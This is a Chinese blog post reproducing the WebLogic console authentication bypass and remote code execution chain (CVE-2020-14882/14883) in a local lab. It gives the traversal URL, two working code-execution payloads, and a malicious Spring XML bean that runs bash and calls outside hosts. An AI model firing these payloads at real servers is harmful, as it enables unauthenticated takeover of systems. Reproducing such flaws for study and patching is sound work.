博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

weblogic 未授权命令执行漏洞(CVE-2020-14882,CVE-2020-14883)复现

漏洞描述

2020年10月29日,360CERT监测发现 Weblogic ConSole HTTP 协议代码执行漏洞,该漏洞编号为 CVE-2020-14882,CVE-2020-14883 ,漏洞等级:严重,漏洞评分:9.8。
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。

影响版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

环境搭建

这里我们测试WebLogic12.2.1.4,java环境是jdk1.8.0_221,自行下载

这里提供WebLogic12.2.1.4的安装教程

下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

下载正确的文件

 

 

解压

 

 

 

用管理员权限运行

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

 

 进入安装界面

 

 

下一步

 

 

 

 

 

 

 

下一步

完成

开始安装weblogic的web管理

设置口令,然后创建

 

启动域

 

会自动打开weblogic的启动界面

 

 

我们就进入了weblogic的登录界面(漏洞就是在这个界面触发的)

 

 

 

漏洞复现

Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console。
权限绕过漏洞(CVE-2020-14882),访问以下URL,未授权访问到管理后台页面(低权限的用户):

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal

 

发现我们现在是低权限的用户,无法安装应用,所以组合下面的CVE-2020-14883 可以继续利用

 

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

方法一:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20pyxgs4.dnslog.cn%27);%22)

成功执行:

 

 

方法二:

一种更为通杀的方法,对于所有Weblogic版本均有效。

但是必须可以出网,要可以访问到恶意的xml

首先需要构造一个XML文件,并将其保存外网(漏洞机或者可访问的一台机子上)上,就是要有外网ip

复制代码
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl 6zu4z2.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>
复制代码

 

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://64.254.68.38:8085/weblogic/evil.xml%22)

成功回显

 

参考文章:

https://blog.csdn.net/god_zzz/article/details/109445728

https://www.cnblogs.com/2rsh0u/p/13911794.html

 

posted @   My_Dreams  阅读(5377)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();

点击右上角即可分享
微信分享提示